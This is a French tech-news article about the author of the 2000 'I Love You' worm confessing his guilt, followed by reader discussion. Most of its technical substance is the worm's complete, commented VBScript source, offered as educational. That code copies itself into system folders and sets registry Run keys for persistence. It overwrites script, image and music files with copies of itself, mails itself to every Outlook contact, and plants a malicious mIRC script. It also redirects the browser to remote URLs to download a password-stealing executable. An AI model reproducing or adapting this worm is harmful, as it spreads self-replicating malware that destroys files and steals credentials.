Vous êtes nouveau sur Developpez.com ? Créez votre compte ou connectez-vous afin de pouvoir participer !

Vous devez avoir un compte Developpez.com et être connecté pour pouvoir participer aux discussions.

Vous n'avez pas encore de compte Developpez.com ? Créez-en un en quelques instants, c'est entièrement gratuit !

Si vous disposez déjà d'un compte et qu'il est bien activé, connectez-vous à l'aide du formulaire ci-dessous.

Identifiez-vous
Identifiant
Mot de passe
Mot de passe oublié ?
Créer un compte

L'inscription est gratuite et ne vous prendra que quelques instants !

Je m'inscris !

L'auteur de la pandémie de virus informatique « I Love You » de l'année 2000 reconnaît enfin sa culpabilité
20 ans après l'infection de millions de machines à travers le monde par son logiciel

Le , par Patrick Ruiz

11PARTAGES

10  0 
L’homme derrière le premier virus informatique à s'être propagé à grande échelle a finalement admis sa culpabilité, 20 ans après l’infection de millions de machines à travers le monde par son logiciel. C’est le résultat d’un travail de longue haleine du journaliste spécialisé en technologie Geoff White.

Pendant deux décennies, un quasi-mystère a plané sur l’identité de l’individu derrière cette attaque. En effet, suite aux enquêtes initiales menées à l’époque de l’apparition du virus informatique, le présumé auteur (alors étudiant en informatique) n’avait pas réfuté la possibilité qu’il soit le véritable responsable. Dans une récente publication, ce dernier met fin à toute spéculation et assume l’entière responsabilité de la première pandémie de virus informatique.

Celle-ci est connue du monde depuis le 4 mai 2000 sous diverses appellations : I Love You (je t’aime), Loveletter ou encore Love Bug. Les victimes recevaient un courriel avec une pièce jointe intitulée LOVE-LETTER-FOR-YOU. Cette dernière contenait en fait du code VBScript capable d’écraser des fichiers, de voler des mots de passe et d’envoyer des copies de lui-même de façon automatique à tous les contacts du carnet d’adresses Microsoft Outlook de la victime. En quelques heures, le virus mis au point par Onel de Guzman s’était propagé dans le monde entier. Bilan initial : près de 45 millions de machines, soit environ 10 % de tous les ordinateurs connectés à Internet sur la planète à cette époque. De grosses organisations comme le Pentagone et le Parlement du Royaume-Uni avaient dû déconnecter leurs infrastructures de courriel pendant des heures pour s’en prémunir. D’après ce que rapporte la BBC, les ravages causés par l’attaque informatique se chiffrent à des milliards de dollars.



À l'époque, la connexion à Internet se faisait par le biais du réseau téléphonique commuté et nécessitait de tels mots de passe. Onel de Guzman a expliqué à la BBC qu’il avait créé le ver informatique afin de voler des mots de passe et d'accéder ainsi à Internet sans débourser d’argent. Désormais âgé de 44 ans, de Guzman assure qu’il n’a jamais eu l’intention que son ver informatique se répande à l’échelle mondiale.

« Je ne m’attendais pas à ce qu’il se retrouve aux États-Unis et en Europe. J’étais surpris », a-t-il affirmé dans une entrevue. Pourtant, il a modifié le code du virus au printemps 2000 de façon à profiter d’une lacune du système d’exploitation Microsoft Windows 95, ce, pour créer une chaîne de transmission automatique au travers du logiciel Outlook de Microsoft. Initialement, il faisait parvenir le virus uniquement à des victimes aux Philippines. Le contact avec ces dernières se faisait via des espaces de clavardage.

À l’époque, les autorités le soupçonnaient sur la base de traces retrouvées sur des supports informatiques logés dans une chambre d’étudiant qu’il partageait avec son frère. En fait, les disques trouvés sur place par la police de Manille prouvaient qu’il était l’un des auteurs. Sur cet aspect, Onel de Guzman précise qu’il était le seul auteur du virus.

« C'est un cheval de Troie qui proclame son amour pour le destinataire et vous demande d'ouvrir sa pièce jointe. Même pour un premier rendez-vous, il vous aime alors tellement qu'il envoie des copies de lui-même à toutes les personnes de votre carnet d'adresses et commence à détruire des fichiers sur votre disque », souligne un internaute des contradictions caractéristiques de la conception de ce virus. En effet, comment expliquer la présence de fonctionnalités de destruction de fichiers alors que l’objectif était de récupérer des mots de passe pour accéder à Internet sans dépenser de l’argent ?



Onel de Guzman a exprimé des regrets quant aux dommages que sa création a causés. À Manille, il œuvre désormais dans la réparation de téléphones portables. Le code source du ver informatique est disponible à des fins pédagogiques :

Code VBScript : Sélectionner tout
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
 
rem  barok -loveletter(vbe)  
rem by: spyder  /  ispyder@mail.com  /  @GRAMMERSoft Group  /  Manila,Philippines 
On Error Resume Next 
 
rem Setup global variables to be used throughout subroutines and functions. 
Dim fso, dirsystem, dirwin, dirtemp, eq, ctr, file, vbscopy, dow 
eq = "" 
ctr = 0 
 
rem Open the current script file and define "vbscopy" which can be used to 
rem read its own contents. Used to replicate itself in other files. 
Set fso = CreateObject("Scripting.FileSystemObject") 
Set file = fso.OpenTextFile(WScript.ScriptFullname, 1) 
vbscopy = file.ReadAll 
 
main() 
 
rem Subroutine to initalize the program 
Sub main() 
  On Error Resume Next 
  Dim wscr, rr 
 
  Set wscr = CreateObject("WScript.Shell") 
  rr = wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout") 
 
  If (rr >= 1) Then 
    wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout", 0, "REG_DWORD" 
  End If 
 
  rem Finds special folders, such as system, temporary and windows folders. 
  Set dirwin = fso.GetSpecialFolder(0) 
  Set dirsystem = fso.GetSpecialFolder(1) 
  Set dirtemp = fso.GetSpecialFolder(2) 
  Set c = fso.GetFile(WScript.ScriptFullName) 
 
  rem Copy itself into VBScript files MSKernel32.vbs, Win32DLL.vbs and 
  rem LOVE-LETTER-FOR-YOU.TXT.vbs 
  c.Copy(dirsystem & "\MSKernel32.vbs") 
  c.Copy(dirwin & "\Win32DLL.vbs") 
  c.Copy(dirsystem & "\LOVE-LETTER-FOR-YOU.TXT.vbs") 
 
  regruns() 
  html() 
  spreadtoemail() 
  listadriv() 
End Sub 
 
rem Subroutine to create/update registry values. 
Sub regruns() 
  On Error Resume Next 
  Dim num, downread 
 
  rem Set the system to automatically run MSKernel32.vbs and Win32DLL.vbs on startup. 
  regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32", dirsystem & "\MSKernel32.vbs" 
  regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL", dirwin & "\Win32DLL.vbs" 
 
  rem Get internet Explorer's download directory. 
  downread = "" 
  downread = regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory") 
 
  rem If the directory wasn't found, then use C:\ drive as the download directory. 
  If (downread = "") Then 
    downread = "c:\" 
  End If 
 
  rem Check if a file named "WinFAT32.exe" exists in the system files. 
  If (fileexist(dirsystem & "\WinFAT32.exe") = 1) Then 
    Randomize 
 
    rem Generate a random number from 1 to 4. 
    num = Int((4 * Rnd) + 1) 
 
    rem Randomly update the Internet Explorer's start page that leads to a 
    rem page that will download a malicious executable "WIN-BUGSFIX.exe". 
    If num = 1 Then 
      regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe" 
    ElseIf num = 2 Then 
      regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe" 
    ElseIf num = 3 Then 
      regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe" 
    ElseIf num = 4 Then 
      regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe" 
    End If 
  End If 
 
  rem Check if the "WIN-BUGSFIX.exe" file exists in the download directory. 
  If (fileexist(downread & "\WIN-BUGSFIX.exe") = 0) Then 
    rem Add WIN-BUGSFIX.exe to run on startup 
    regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX", downread & "\WIN-BUGSFIX.exe" 
    rem Update Internet Explorer's start page to "about:blank" 
    regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\StartPage", "about:blank" 
  End If 
End Sub 
 
rem Subroutine to list folders in drives. 
Sub listadriv() 
  On Error Resume Next 
  Dim d, dc, s 
 
  Set dc = fso.Drives 
 
  For Each d In dc 
    If (d.DriveType = 2) Or (d.DriveType = 3) Then 
      folderlist(d.path & "\") 
    End If 
  Next 
 
  listadriv = s 
End Sub 
 
rem Subroutine infect other files, by copying itself into them as well 
rem as creating a malicious mIRC script. 
Sub infectfiles(folderspec) 
  On Error Resume Next 
  Dim f, f1, fc, ext, ap, mircfname, s, bname, mp3 
 
  Set f = fso.GetFolder(folderspec) 
  Set fc = f.Files 
 
  For Each f1 In fc 
    ext = fso.GetExtensionName(f1.path) 
    ext = lcase(ext) 
    s = lcase(f1.name) 
 
    rem Copies itself into every file with vbs/vbe extension. 
    If (ext = "vbs") Or (ext = "vbe") Then 
      Set ap = fso.OpenTextFile(f1.path, 2, true) 
 
      ap.write vbscopy 
      ap.close 
    rem Copies itself into every file with js/jse/css/wsh/sct/hta extension. 
    ElseIf (ext = "js") 
      Or (ext = "jse") 
      Or (ext = "css") 
      Or (ext = "wsh") 
      Or (ext = "sct") 
      Or (ext = "hta") 
    Then 
      Set ap = fso.OpenTextFile(f1.path, 2, true) 
 
      ap.write vbscopy 
      ap.close 
      bname = fso.GetBaseName(f1.path) 
 
      Set cop = fso.GetFile(f1.path) 
 
      cop.copy(folderspec & "\" & bname & ".vbs") 
      fso.DeleteFile(f1.path) 
    rem Copies itself into every file with jpg/jpeg extension. 
    ElseIf (ext = "jpg") Or (ext = "jpeg") Then 
      rem Copies itself 
      Set ap = fso.OpenTextFile(f1.path, 2, true) 
 
      ap.write vbscopy 
      ap.close 
 
      Set cop = fso.GetFile(f1.path) 
 
      cop.copy(f1.path & ".vbs") 
      fso.DeleteFile(f1.path) 
    rem Copies itself into every file with mp3/mp2 extension. 
    ElseIf (ext = "mp3") Or (ext = "mp2") Then 
      Set mp3 = fso.CreateTextFile(f1.path & ".vbs") 
 
      mp3.write vbscopy 
      mp3.close 
 
      Set att = fso.GetFile(f1.path) 
 
      att.attributes = att.attributes + 2 
    End If 
 
    If (eq <> folderspec) Then 
      rem Looks for mIRC and related files to determine whether it 
      rem should create/replace its script.ini with a malicious script. 
      If (s = "mirc32.exe") 
        Or (s = "mlink32.exe") 
        Or (s = "mirc.ini") 
        Or (s = "script.ini") 
        Or (s = "mirc.hlp") 
      Then 
        Set scriptini = fso.CreateTextFile(folderspec & "\script.ini") 
        rem The following mIRC script checks if the "nick" of a user is the same 
        rem as "me" to halt and send a DCC command to send a message to the user 
        rem with a link to the LOVE=LETTER-FOR-YOU html page on the system. 
        scriptini.WriteLine "[script]" 
        scriptini.WriteLine ";mIRC Script" 
        scriptini.WriteLine ";  Please dont edit this script... mIRC will corrupt, If mIRC will" 
        scriptini.WriteLine "    corrupt... WINDOWS will affect and will not run correctly. thanks" 
        scriptini.WriteLine ";" 
        scriptini.WriteLine ";Khaled Mardam-Bey" 
        scriptini.WriteLine ";http://www.mirc.com" 
        scriptini.WriteLine ";" 
        scriptini.WriteLine "n0=on 1:JOIN:#:{" 
        scriptini.WriteLine "n1=  /If ( $nick == $me ) { halt }" 
        scriptini.WriteLine "n2=  /.dcc send $nick" & dirsystem & "\LOVE-LETTER-FOR-YOU.HTM" 
        scriptini.WriteLine "n3=}" 
        scriptini.close 
 
        eq = folderspec 
      End If 
    End If 
  Next 
End Sub 
 
rem Subroutine used to get file listing of a folder. 
Sub folderlist(folderspec) 
  On Error Resume Next 
  Dim f, f1, sf 
 
  Set f = fso.GetFolder(folderspec) 
  Set sf = f.SubFolders 
 
  For Each f1 In sf 
    infectfiles(f1.path) 
    folderlist(f1.path) 
  Next 
End Sub 
 
rem Subroutine used to create/write registry entries. 
Sub regcreate(regkey,regvalue) 
  Set regedit = CreateObject("WScript.Shell") 
  regedit.RegWrite regkey, regvalue 
End Sub 
 
rem Subroutine used to get registry entries. 
Function regget(value) 
  Set regedit = CreateObject("WScript.Shell") 
  regget = regedit.RegRead(value) 
End Function 
 
rem Function to check if a file exists. 
Function fileexist(filespec) 
  On Error Resume Next 
  Dim msg 
 
  If (fso.FileExists(filespec)) Then 
    msg = 0 
  Else 
    msg = 1 
  End If 
 
  fileexist = msg 
End Function 
 
rem Function to check if a folder exists. 
Function folderexist(folderspec) 
  On Error Resume Next 
  Dim msg 
 
  If (fso.GetFolderExists(folderspec)) Then 
    msg = 0 
  Else 
    msg = 1 
  End If 
 
  fileexist = msg 
End Function 
 
rem Subroutine to send emails to the user's contacts (MAPI) 
Sub spreadtoemail() 
  On Error Resume Next 
  Dim x, a, ctrlists, ctrentries, malead, b, regedit, regv, regad 
 
  Set regedit = CreateObject("WScript.Shell") 
  Set out = WScript.CreateObject("Outlook.Application") 
  Set mapi = out.GetNameSpace("MAPI") 
 
  rem Goes through all contacts in the address book and sends an email 
  rem with the LOVE-LETTER-FOR-YOU program as an attachment. 
  For ctrlists = 1 To mapi.AddressLists.Count 
    Set a = mapi.AddressLists(ctrlists) 
    x = 1 
    regv = regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a) 
 
    If (regv = "") Then 
      regv = 1 
    End If 
 
    If (int(a.AddressEntries.Count) > int(regv)) Then 
      For ctrentries = 1 To a.AddressEntries.Count 
        malead = a.AddressEntries(x) 
        regad = "" 
        regad = regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" & malead ) 
 
        If (regad = "") Then 
          Set male = out.CreateItem(0) 
 
          male.Recipients.Add(malead) 
          male.Subject = "ILOVEYOU" 
          male.Body = vbcrlf & "kindly check the attached LOVELETTER coming from me." 
          male.Attachments.Add(dirsystem & "\LOVE-LETTER-FOR-YOU.TXT.vbs") 
          male.Send 
 
          regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & malead, 1, "REG_DWORD" 
        End If 
 
        x = x + 1 
      Next 
 
      regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a, a.AddressEntries.Count 
    Else 
      regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a, a.AddressEntries.Count 
    End If 
  Next 
 
  Set out = Nothing 
  Set mapi = Nothing 
End Sub 
 
rem Subroutine to generate and create the HTML file for LOVE-LETTER-FOR-YOU.HTM. 
Sub html 
  On Error Resume Next 
  Dim lines, n, dta1, dta2, dt1, dt2, dt3, dt4, l1, dt5, dt6 
 
  rem Generates an HTML page which contains JScript and VBScript replicate itself. 
  rem by leveraging ActiveX. It also listens for mouse and key events, which 
  rem ends up open more windows of the page. 
  dta1 = "LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>" 
    & vbcrlf & _ "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>" 
    & vbcrlf & _ "<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@>" 
    & vbcrlf & _ "<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ " 
    & vbcrlf & _ "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>" 
    & vbcrlf & _ "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to Enable ActiveX<?-?p>" 
    & vbcrlf & _ "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE>" 
    & vbcrlf & _ "<?-?BODY><?-?HTML>" 
    & vbcrlf & _ "<SCRIPT language=@-@JScript@-@>" 
    & vbcrlf & _ "<!--?-??-?" 
    & vbcrlf & _ "If (window.screen){var wi=screen.availWidth;var hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}" 
    & vbcrlf & _ "?-??-?-->" 
    & vbcrlf & _ "<?-?SCRIPT>" 
    & vbcrlf & _ "<SCRIPT LANGUAGE=@-@VBScript@-@>" 
    & vbcrlf & _ "<!--" 
    & vbcrlf & _ "on error resume next" 
    & vbcrlf & _ "Dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit" 
    & vbcrlf & _ "aw=1" 
    & vbcrlf & _ "code=" 
 
  dta2 = "Set fso=CreateObject(@-@Scripting.FileSystemObject@-@)" 
    & vbcrlf & _ "Set dirsystem=fso.GetSpecialFolder(1)" 
    & vbcrlf & _ "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))" 
    & vbcrlf & _ "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))" 
    & vbcrlf & _ "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))" 
    & vbcrlf & _ "set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)" 
    & vbcrlf & _ "wri.write code4" 
    & vbcrlf & _ "wri.close" 
    & vbcrlf & _ "If (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) Then" 
    & vbcrlf & _ "If (err.number=424) Then" 
    & vbcrlf & _ "aw=0" 
    & vbcrlf & _ "End If" 
    & vbcrlf & _ "If (aw=1) Then" 
    & vbcrlf & _ "document.write @-@ERROR: can#-#t initialize ActiveX@-@" 
    & vbcrlf & _ "window.close" 
    & vbcrlf & _ "End If" 
    & vbcrlf & _ "End If" 
    & vbcrlf & _ "Set regedit = CreateObject(@-@WScript.Shell@-@)" 
    & vbcrlf & _ "regedit.RegWrite@-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@" 
    & vbcrlf & _ "?-??-?-->" 
    & vbcrlf & _ "<?-?SCRIPT>" 
 
  dt1 = replace(dta1, chr(35) & chr(45) & chr(35), "'") 
  dt1 = replace(dt1, chr(64) & chr(45) & chr(64), """") 
  dt4 = replace(dt1, chr(63) & chr(45) & chr(63), "/") 
  dt5 = replace(dt4, chr(94) & chr(45) & chr(94), "\") 
  dt2 = replace(dta2, chr(35) & chr(45) & chr(35), "'") 
  dt2 = replace(dt2, chr(64) & chr(45) & chr(64), """") 
  dt3 = replace(dt2, chr(63) & chr(45) & chr(63), "/") 
  dt6 = replace(dt3, chr(94) & chr(45) & chr(94), "\") 
 
  Set fso = CreateObject("Scripting.FileSystemObject") 
  Set c = fso.OpenTextFile(WScript.ScriptFullName, 1) 
 
  lines = Split(c.ReadAll,vbcrlf) 
  l1 = ubound(lines) 
 
  For n = 0 to ubound(lines) 
    lines(n) = replace(lines(n), "'", chr(91) + chr(45) + chr(91)) 
    lines(n) = replace(lines(n), """", chr(93) + chr(45) + chr(93)) 
    lines(n) = replace(lines(n), "\", chr(37) + chr(45) + chr(37)) 
 
    If (l1 = n) Then 
      lines(n) = chr(34) + lines(n) + chr(34) 
    Else 
      lines(n) = chr(34) + lines(n) + chr(34) & " & vbcrlf & _" 
    End If 
  Next 
 
  rem Create the LOVE-LETTER-FOR-YOU.HTM file in the system directory. 
  Set b = fso.CreateTextFile(dirsystem + "\LOVE-LETTER-FOR-YOU.HTM") 
  b.close 
 
  Set d = fso.OpenTextFile(dirsystem + "\LOVE-LETTER-FOR-YOU.HTM", 2) 
  d.write dt5 
  d.write join(lines, vbcrlf) 
  d.write vbcrlf 
  d.write dt6 
  d.close 
End Sub</pre></td></tr></table></pre></div><br />
Source : <a href="https://www.bbc.com/news/technology-52458765" target="_blank">BBC</a>  <br/><br/><b>Et vous ?</b> <br/><br/><img src="https://www.developpez.net/forums/images/smilies/fleche.gif" border="0" alt="" title=":fleche:" class="inlineimg" /> Quels enseignements tirez-vous du code source de ce maliciel ?<br />
<img src="https://www.developpez.net/forums/images/smilies/fleche.gif" border="0" alt="" title=":fleche:" class="inlineimg" /> Quel commentaire faites-vous de la présence de fonctionnalités destructrices en son sein ?<br />
<img src="https://www.developpez.net/forums/images/smilies/fleche.gif" border="0" alt="" title=":fleche:" class="inlineimg" /> Ne sont-elles pas en contradiction avec ce que l’auteur dit être ses objectifs initiaux ?<br />
<img src="https://www.developpez.net/forums/images/smilies/fleche.gif" border="0" alt="" title=":fleche:" class="inlineimg" /> Quelles sont vos anecdotes en lien avec cette pandémie informatique de l’année 2000 ?						</div>

					</td>
				</tr>
			</table>

			<div id="signalerFrame">
				<i id="fermerSignaler" class="glyphicon glyphicon-remove"></i>
				<p class="alert alert-info">Une erreur dans cette actualité ? Signalez-le nous !</p>
				<div style="padding: 0px 20px">

											<p>
							<label>
								<span style="display: inline-block; width: 100px">Votre nom : </span>
								<input class="form-control" name="username" role="username" type="text" value="" required />
							</label>
						</p>
						<p>
							<label>
								<span style="display: inline-block; width: 100px">Votre e-mail : </span>
								<input class="form-control" name="email" role="email" type="text" value="" required />
							</label>
						</p>
					
					<p>
						<label>Décrivez l'erreur que vous souhaitez porter à notre connaissance :
							<textarea class="form-control" name="comment" role="comment" required></textarea>
						</label>
					</p>

					<p style="text-align: right"><input class="button" type="submit" value="Envoyer" class="button" id="signalerAction" /></p>
				</div>
			</div>

			<script type="text/javascript">
				$(function(){
					$(".signaler").css("cursor", "pointer").click(function() {
						var bloc = $("#signalerFrame").outerHeight();
						bloc = (bloc / 2) - 130;
						$("#signalerFrame").css('top', 'calc(50% - '+ bloc +'px)');
						$("#signalerFrame").show();
						$("#signalerFrame textarea").focus();
					});
					$("#fermerSignaler").css("cursor", "pointer").click(function() {
						$("#signalerFrame").hide();
					});
					$("#signalerAction").click(function() {
						$.post("/email/signaler/id/302065", {
							username: $("#signalerFrame input[name=username]").val(),
							email: $("#signalerFrame input[name=email]").val(),
							comment: $("#signalerFrame textarea").val()
						}, function(r) {
							alert(r);
							$("#signalerFrame").hide();
						}, "text");
					});

									});
			</script>

		</article>

		<div class="contenuActu">
			<div class="headerCom">
				<a href="https://www.developpez.net/forums/d2072607/systemes/securite/lauteur-pandemie-virus-informatique-i-love-you-lannee-2000-reconnait-enfin-culpabilite/#post11517035">1 commentaire</a>
			</div>
			
				<script type="text/javascript">
	$(function() {

		var stopTriComs = false;

		var selectOrdreDefaut = parseInt(2);
		$('select[name="triComs"] option[value="'+ selectOrdreDefaut +'"]').attr("selected", "selected");

		$('select[name="triComs"]').on('change', function(e) {

			if (stopTriComs)
				return false;

			stopTriComs = true;

			$('#spinnerTriComs').show();

			var ordre = $(this).val();
			// triAction

			var data = {
				ordre: ordre,
				topic: 2072607,
				actu: 302065,
				post: 11517035,
				securityToken: "1049946ff588258c662b794cc4086892"
			};

			$.post("/actu/tri", data, function(j) {

				$('[data-partial="showTopic"]').html(j);

				$('#spinnerTriComs').hide();

				$('select[name="triComs"] option[value="'+ ordre +'"]').prop("selected", "selected");
				$('select[name="triComs"] option').removeProp("selected");

				stopTriComs = false;

			}, 'html');
		});

	});
</script>
<style>
	.row {
		display: table;
		width:100%;
		margin-bottom:5px;
		margin-left:-5px;
	}

	.row [class*="col-"] {
		float: none;

		vertical-align: top;
	}

	@media (min-width:991px){
		.row [class*="col-"] {
			 display: table-cell;
		}
	}
	</style>


	
					<div class="showButtons">
									<a class="button poster" href="https://www.developpez.net/forums/newreply.php?do=newreply&noquote=1&t=2072607">
						<i class="glyphicon glyphicon-edit"></i><span>Poster une réponse</span>
					</a>
								<a class="button signaler" title="Signaler un problème sur cette actualité (correction, suggestion...)">
					<i class="glyphicon glyphicon-flag"></i><span>Signaler un problème</span>
				</a>

			</div>
		
		
			

						
			<div data-partial="showTopic">
			
				
				<div id="post11517174" class="d-flex flex-row showtopic">
					<div class="p-2 postUser comUnique" itemscope itemtype="http://data-vocabulary.org/Person">
													<div class="username">
								<a href="https://www.developpez.com/user/profil/590469/tutosfaciles48" itemprop="name" class="fn">
									tutosfaciles48								</a>
							</div>
												<div class="avatar">
															<img itemprop="photo" class="posterAvatar" src="https://www.developpez.com/public/images/default-avatar.png" title="Avatar de tutosfaciles48" alt="Avatar de tutosfaciles48" />
													</div>
						<div class="user">
							<span itemprop="role" class="title">
								Membre régulier							</span>

							<span style="display:none" itemprop="affiliation">https://www.developpez.com</span>
							<span style="display:none" class="adr" itemprop="location" itemscope itemtype="http://data-vocabulary.org/Address">
								<span style="display:none" itemprop="coutry-name" class="region"></span>
							</span>

							<div class="date">Le 04/05/2020 à 13:27</div>

						</div>
					</div>

					
					<div class="p-2 postMessage item comUnique voteCom" valign="top">
						<img src="https://www.developpez.net/forums/images/smilies/fleche.gif" border="0" alt="" title=":fleche:" class="inlineimg" /><font color="#3E3E3E"> Quels enseignements tirez-vous du code source de ce maliciel ?<br />
Et ben qu'il semblait simple d'accéder aux contacts de la personne sans aucun contrôle sur son autorisation ou non</font>						<script type="text/javascript">var g_token = "1049946ff588258c662b794cc4086892"; </script>

<div class="votesDansLesComs"><div class="contentCom" style="width:max-content; margin:4px 14px 0 10%; height:30px; white-space:nowrap;" ><table cellspacing="0" cellpadding="0" style="margin:0px;"><tbody><tr data-actu="302065" data-post="11517174" class="ciblerVoteCom"><td role='plus'>
<img role='votecom' src='/public/images/vote-coms/vote_plus.png' title='Voter pour' style='cursor:pointer;' data-connexion="true">
<span role='nbvotesplus'>0</span> </td>
<td role='moins'>
<img role='votecom' src='/public/images/vote-coms/vote_moins.png' title='Voter contre' style='cursor:pointer;' data-connexion="true">
<span role='nbvotesmoins'>0</span> </td>
</tr></tbody></table></div></div>					</div>
				</div>

			
			</div>
		
		
				<!--
									<img src="/public/images/previous-classement.gif" title="Page précédente" role="previous" start="11517034"/>
												-->

				<div class="responses">
															<br /> 
				</div>

		
		</div>

	

					</div>

		<div style="width:600px; text-align:center; margin-top:30px; margin-bottom:20px;">
					</div>

	</td>
	<td id="colonneDroite" valign="top" width="300">
		<aside>
			

	<link rel="stylesheet" href="/public/css/simplebar.css?1591977021" type="text/css" />
	<script type="text/javascript" src="/public/js/simplebar.js"></script>

<div style="text-align:center" id="encart_droite">

		<div id="eu40ae3g" class="dvpb3" style="display: inline-block; width: 300px; min-height: 250px; max-height: 600px"></div><div id="gabarit_pub3"></div>



<script type="text/javascript">
$(function() {

	$(".contenuPage").css('padding', '0 .5em 10px');
	$("#leftColumn").css('margin-bottom', '0');

	var scotch = false;
	var positionne = false;
	var actuLongue = false;
	var divNomPub = false;

	var minHeightLeftColumnBase = 300;

	var aside = $("#colonneDroite aside");
	var colonneDroite = $("#suite_colonne_droite");
	var leftColumn = $("#leftColumn");

	var scrollTop;
	var scrollTopMax;

	var minY;
	var maxY;
	var maxPubCache;

	var hauteurFenetre;

	var pub = $("#encart_droite");
	var hauteurPub;

	var hauteurContenuSansGabarit;
	var HauteurLeftColumn;

	var header;
	var footer;
	var gabarit;

	var tdActu;

	$(window).on('load', function() { init(); });

	$(window).on('resize', function() {
		$(window).off("scroll", scroller);
		$(window).off("scroll", scrollerAno);
		init();
	});

	function init() {

		hauteurFenetre = window.innerHeight;
		header = $('header').outerHeight() + $('#gabarit_pubBB').outerHeight();
		footer = $("#gabarit_responsable").outerHeight() + $("#gabarit_pied").outerHeight() + $("#gabarit_copyright").outerHeight();
		gabarit = header + footer;

		tdActu = $("article.contenuActu").outerHeight() + $('#banner600').outerHeight() + 10;
		hauteurContenuSansGabarit = hauteurFenetre - gabarit - 5;

		hauteurPub = pub.outerHeight() + 23;

		minY = gabarit - footer;
		HauteurLeftColumn = hauteurFenetre - hauteurPub; // marge en bas

		// Réglage à l'avance du top ainsi que de la largeur et la hauteur du menu
		aside.css("width", "300px");
		aside.css("position", "");
		aside.css("top", "5px");
		colonneDroite.css("width", "300px");

		scrollTop = window.pageYOffset || document.documentElement.scrollTop || document.body.scrollTop;
		scrollTopMax = $(document).height() - hauteurFenetre;

		maxY = scrollTopMax - footer;

